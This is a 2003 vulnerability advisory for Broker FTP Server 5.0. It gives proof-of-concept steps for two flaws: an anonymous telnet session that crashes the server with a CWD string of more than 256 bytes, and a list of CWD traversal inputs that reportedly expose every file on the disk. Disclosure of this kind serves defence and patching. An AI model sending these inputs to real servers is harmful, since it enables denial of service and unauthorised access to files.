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Buffer Overflow in Broker FTP Server
Date: 2003-04-04

Author : subj <r2subj3ct@dwclan.org>

Product : Broker FTP Server
Version : 5.0
OSystem : Windows
Authors : TransSoft
WebSite : http://www.ftp-broker.com
Problem :
* Buffer Overflow in field CWD
* Access to all files on a disk

#[Denial of Service]#

Description:
------------

eng:
====
To arrange overflow in field CWD, necessary to send on it more than 256
bytes of dust.
After that server will fall, and will not submit any life attributes.

Exploit:
--------
*************************************
>>Telnet 127.0.0.1:21
220 FTP Server Ready [***]
>>USER anonymous
331 Password required for anonymous.
>>PASS anonymous@localhost
230-Welcome to Broker FTP Server.
230-
230 User anonymous logged in.
CWD AAAAAAAAAAA......AAAAA [256b]
*************************************


#[Access to all files on a disk]#

Description:
------------

eng:
====
Due to this vulnerability you can get access to all files on a hard drive
of the server
Exploits:

Current Directory : "/"
CWD *
CWD /*
CWD /..
CWD /...
CWD /.../

Contacts:
---------

r2subj3ct@dwclan.org
subj.24h.to (www.dwcgr0up.com/subj/)
www.dwcgr0up.com
irc.dwcgr0up.biz #dwc

Thanks:
-------
DHG, GipsHack, Netp0is0n, de1irium, r00tc0de, f0kp, exploit.ru, nobodies
DethSpirit, r4ShRaY, D4rkGr3y, Moby, Orb, Foster, Owned, prior, Demon.



 

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